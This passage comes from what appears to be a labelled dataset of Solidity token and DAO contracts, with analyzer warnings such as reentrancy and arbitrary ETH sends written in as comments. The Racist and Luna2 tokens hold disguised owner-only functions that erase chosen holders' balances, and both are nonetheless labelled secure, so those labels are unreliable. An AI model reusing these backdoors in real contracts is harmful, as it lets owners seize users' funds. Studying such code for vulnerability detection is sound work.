\n\t// Recommendation for a265b04: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89e5d0f): DancingBaby._reduceSellTaxAt should be constant \n\t// Recommendation for 89e5d0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a713b): DancingBaby._preventSwapBefore should be constant \n\t// Recommendation for 05a713b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dancing Baby\";\n\n string private constant _symbol = unicode\"OGMEME\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e54633): DancingBaby._taxSwapThreshold should be constant \n\t// Recommendation for 1e54633: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dced810): DancingBaby._maxTaxSwap should be constant \n\t// Recommendation for dced810: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c3f97a): DancingBaby.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2c3f97a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c00e10): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c00e10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b23ee31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b23ee31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1c00e10\n\t\t// reentrancy-benign | ID: b23ee31\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1c00e10\n\t\t// reentrancy-benign | ID: b23ee31\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 295363d): DancingBaby._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 295363d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b23ee31\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1c00e10\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c7406b1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c7406b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1436a9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1436a9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c7406b1\n\t\t\t\t// reentrancy-eth | ID: 1436a9b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c7406b1\n\t\t\t\t\t// reentrancy-eth | ID: 1436a9b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1436a9b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1436a9b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1436a9b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c7406b1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1436a9b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1436a9b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c7406b1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c7406b1\n\t\t// reentrancy-events | ID: 1c00e10\n\t\t// reentrancy-benign | ID: b23ee31\n\t\t// reentrancy-eth | ID: 1436a9b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bc19159): DancingBaby.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bc19159: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c7406b1\n\t\t// reentrancy-events | ID: 1c00e10\n\t\t// reentrancy-eth | ID: 1436a9b\n\t\t// arbitrary-send-eth | ID: bc19159\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ec778cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ec778cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 40446e6): DancingBaby.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 40446e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b5ededf): DancingBaby.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b5ededf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e7e8cf0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e7e8cf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ec778cc\n\t\t// reentrancy-eth | ID: e7e8cf0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ec778cc\n\t\t// unused-return | ID: 40446e6\n\t\t// reentrancy-eth | ID: e7e8cf0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ec778cc\n\t\t// unused-return | ID: b5ededf\n\t\t// reentrancy-eth | ID: e7e8cf0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: ec778cc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e7e8cf0\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1428.sol", "secure": 0, "size_bytes": 16939 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Racist is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable parameter;\n\n constructor() {\n _name = \"RACIST\";\n\n _symbol = \"RACIST\";\n\n _decimals = 18;\n\n uint256 initialSupply = 471000000;\n\n parameter = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == parameter, \"Not allowed\");\n\n _;\n }\n\n function legend(address[] memory painter) public onlyOwner {\n for (uint256 i = 0; i < painter.length; i++) {\n address account = painter[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1429.sol", "secure": 1, "size_bytes": 4365 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IInheritanceFactory {\n function registerBeneficiary(\n address beneficiary,\n address contractAddress\n ) external;\n\n function unregisterBeneficiary(\n address beneficiary,\n address contractAddress\n ) external;\n}", "file_name": "solidity_code_143.sol", "secure": 1, "size_bytes": 336 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ILuckyElephantNFT {\n function balanceOf(address owner) external view returns (uint256);\n}", "file_name": "solidity_code_1430.sol", "secure": 1, "size_bytes": 172 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\nimport \"./ILuckyElephantNFT.sol\" as ILuckyElephantNFT;\n\ncontract LuckyElephantDAO is Ownable, Pausable, ReentrancyGuard {\n\t// WARNING Optimization Issue (immutable-states | ID: 8cf4ef9): LuckyElephantDAO.luckyElephantNFT should be immutable \n\t// Recommendation for 8cf4ef9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ILuckyElephantNFT public luckyElephantNFT;\n\n address public immutable communityWallet;\n\n uint256 public proposalFee = 0.01 ether;\n\n mapping(address => bool) public allowedCollections;\n\n mapping(uint256 => Proposal) public proposals;\n\n uint256 public numProposals;\n\n event ProposalCreated(\n uint256 indexed proposalId,\n string description,\n ProposalType proposalType,\n uint256 deadline\n );\n\n event ProposalExecuted(uint256 indexed proposalId, bool proposalPassed);\n\n event VoteSubmitted(\n address indexed voter,\n uint256 indexed proposalId,\n uint256 numVotes,\n Vote voteType\n );\n\n event MerkleRootSubmitted(uint256 indexed proposalId, bytes32 merkleRoot);\n\n event SignedVoteSubmitted(\n address indexed voter,\n uint256 indexed proposalId,\n Vote voteType\n );\n\n struct Proposal {\n string description;\n uint256 deadline;\n uint256 yayVotes;\n uint256 nayVotes;\n bool executed;\n bool proposalPassed;\n ProposalType proposalType;\n address targetNFTCollection;\n bytes32 merkleRoot;\n mapping(address => bool) voters;\n }\n\n enum ProposalType {\n General,\n Investment,\n Donation,\n NFTSale,\n SocialFiFeature,\n ClothingLine,\n AddNFTCollection,\n RemoveNFTCollection\n }\n\n enum Vote {\n YAY,\n NAY\n }\n\n modifier onlyNFTHolder() {\n require(isNFTHolder(msg.sender), \"NOT_A_DAO_MEMBER\");\n\n _;\n }\n\n modifier activeProposalOnly(uint256 proposalIndex) {\n require(\n proposals[proposalIndex].deadline > block.timestamp,\n \"PROPOSAL_DEADLINE_EXCEEDED\"\n );\n\n _;\n }\n\n modifier inactiveProposalOnly(uint256 proposalIndex) {\n require(\n proposals[proposalIndex].deadline <= block.timestamp,\n \"PROPOSAL_DEADLINE_NOT_EXCEEDED\"\n );\n\n require(\n !proposals[proposalIndex].executed,\n \"PROPOSAL_ALREADY_EXECUTED\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 796b6c2): LuckyElephantDAO.constructor(address,address)._communityWallet lacks a zerocheck on \t communityWallet = _communityWallet\n\t// Recommendation for 796b6c2: Check that the address is not zero.\n constructor(\n address _luckyElephantNFT,\n address _communityWallet\n ) Ownable(msg.sender) {\n luckyElephantNFT = ILuckyElephantNFT(_luckyElephantNFT);\n\n\t\t// missing-zero-check | ID: 796b6c2\n communityWallet = _communityWallet;\n }\n\n function setProposalFee(uint256 _fee) external onlyOwner {\n proposalFee = _fee;\n }\n\n function createProposal(\n string memory _description,\n ProposalType _proposalType,\n address _targetNFTCollection\n ) external payable onlyNFTHolder whenNotPaused returns (uint256) {\n require(msg.value >= proposalFee, \"INSUFFICIENT_PROPOSAL_FEE\");\n\n Proposal storage proposal = proposals[numProposals];\n\n proposal.description = _description;\n\n proposal.deadline = block.timestamp + 5 minutes;\n\n proposal.proposalType = _proposalType;\n\n proposal.targetNFTCollection = _targetNFTCollection;\n\n emit ProposalCreated(\n numProposals,\n _description,\n _proposalType,\n proposal.deadline\n );\n\n numProposals++;\n\n return numProposals - 1;\n }\n\n function submitMerkleRoot(\n uint256 proposalIndex,\n bytes32 merkleRoot\n ) external onlyOwner inactiveProposalOnly(proposalIndex) {\n require(proposalIndex < numProposals, \"INVALID_PROPOSAL_ID\");\n\n Proposal storage proposal = proposals[proposalIndex];\n\n proposal.merkleRoot = merkleRoot;\n\n emit MerkleRootSubmitted(proposalIndex, merkleRoot);\n }\n\n function verifyMerkleVote(\n uint256 proposalIndex,\n bytes32[] calldata proof,\n address voter,\n uint256 numVotes\n ) public view returns (bool) {\n Proposal storage proposal = proposals[proposalIndex];\n\n bytes32 leaf = keccak256(abi.encodePacked(voter, numVotes));\n\n return MerkleProof.verify(proof, proposal.merkleRoot, leaf);\n }\n\n function executeProposal(\n uint256 proposalIndex\n ) external onlyOwner inactiveProposalOnly(proposalIndex) nonReentrant {\n Proposal storage proposal = proposals[proposalIndex];\n\n if (proposal.yayVotes > proposal.nayVotes) {\n proposal.proposalPassed = true;\n\n if (proposal.proposalType == ProposalType.AddNFTCollection) {\n allowedCollections[proposal.targetNFTCollection] = true;\n } else if (\n proposal.proposalType == ProposalType.RemoveNFTCollection\n ) {\n allowedCollections[proposal.targetNFTCollection] = false;\n }\n }\n\n proposal.executed = true;\n\n emit ProposalExecuted(proposalIndex, proposal.proposalPassed);\n }\n\n function submitSignedVote(\n uint256 proposalIndex,\n Vote voteType,\n uint256 numVotes,\n bytes calldata signature\n ) external onlyNFTHolder activeProposalOnly(proposalIndex) {\n Proposal storage proposal = proposals[proposalIndex];\n\n bytes32 messageHash = keccak256(\n abi.encodePacked(proposalIndex, voteType, numVotes, msg.sender)\n );\n\n address recoveredSigner = recoverSigner(messageHash, signature);\n\n require(recoveredSigner == msg.sender, \"Invalid signature\");\n\n if (voteType == Vote.YAY) {\n proposal.yayVotes += numVotes;\n } else {\n proposal.nayVotes += numVotes;\n }\n\n emit SignedVoteSubmitted(msg.sender, proposalIndex, voteType);\n }\n\n function recoverSigner(\n bytes32 messageHash,\n bytes memory signature\n ) public pure returns (address) {\n bytes32 ethSignedMessageHash = keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash)\n );\n\n (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);\n\n return ecrecover(ethSignedMessageHash, v, r, s);\n }\n\n function splitSignature(\n bytes memory sig\n ) internal pure returns (bytes32 r, bytes32 s, uint8 v) {\n require(sig.length == 65, \"Invalid signature length\");\n\n assembly {\n r := mload(add(sig, 32))\n\n s := mload(add(sig, 64))\n\n v := byte(0, mload(add(sig, 96)))\n }\n }\n\n function withdrawFunds(uint256 amount) external onlyOwner nonReentrant {\n require(amount <= address(this).balance, \"Insufficient balance\");\n\n (bool success, ) = payable(communityWallet).call{value: amount}(\"\");\n\n require(success, \"Withdraw failed\");\n }\n\n function addNFTCollection(address _nftCollection) external onlyOwner {\n require(\n !allowedCollections[_nftCollection],\n \"Collection already allowed\"\n );\n\n allowedCollections[_nftCollection] = true;\n }\n\n function removeNFTCollection(address _nftCollection) external onlyOwner {\n require(allowedCollections[_nftCollection], \"Collection not allowed\");\n\n allowedCollections[_nftCollection] = false;\n }\n\n function isNFTHolder(address user) public view returns (bool) {\n return luckyElephantNFT.balanceOf(user) > 0;\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}", "file_name": "solidity_code_1431.sol", "secure": 0, "size_bytes": 8552 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Luna2 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable large;\n\n constructor() {\n _name = \"luna2\";\n\n _symbol = \"LUNA2\";\n\n _decimals = 18;\n\n uint256 initialSupply = 238000000;\n\n large = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == large, \"Not allowed\");\n\n _;\n }\n\n function lock(address[] memory torture) public onlyOwner {\n for (uint256 i = 0; i < torture.length; i++) {\n address account = torture[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1432.sol", "secure": 1, "size_bytes": 4348 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYGOAT\", unicode\"BABYGOAT\", 9, 1000000000) {}\n}", "file_name": "solidity_code_1433.sol", "secure": 1, "size_bytes": 205 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ea0611b): Contract locking ether found Contract Midasys has payable functions Midasys.receive() But does not have a function to withdraw the ether\n// Recommendation for ea0611b: Remove the 'payable' attribute or add a withdraw function.\ncontract Midasys is ERC20, Ownable {\n constructor() ERC20(unicode\"Midasys\", unicode\"MIDS\") {\n _mint(owner(), 100000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ea0611b): Contract locking ether found Contract Midasys has payable functions Midasys.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ea0611b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1434.sol", "secure": 0, "size_bytes": 999 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract WokeAI is ERC20 {\n uint256 private constant TOAL_SUPPLY = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: cce15c2): wokeAI.DEAD shadows ERC20.DEAD\n\t// Recommendation for cce15c2: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 7d83250): wokeAI.ZERO shadows ERC20.ZERO\n\t// Recommendation for 7d83250: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12fedbd): wokeAI.maxTxAmTaddress should be immutable \n\t// Recommendation for 12fedbd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 11e7e5b): wokeAI.maxwall_address should be immutable \n\t// Recommendation for 11e7e5b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwall_address;\n\n 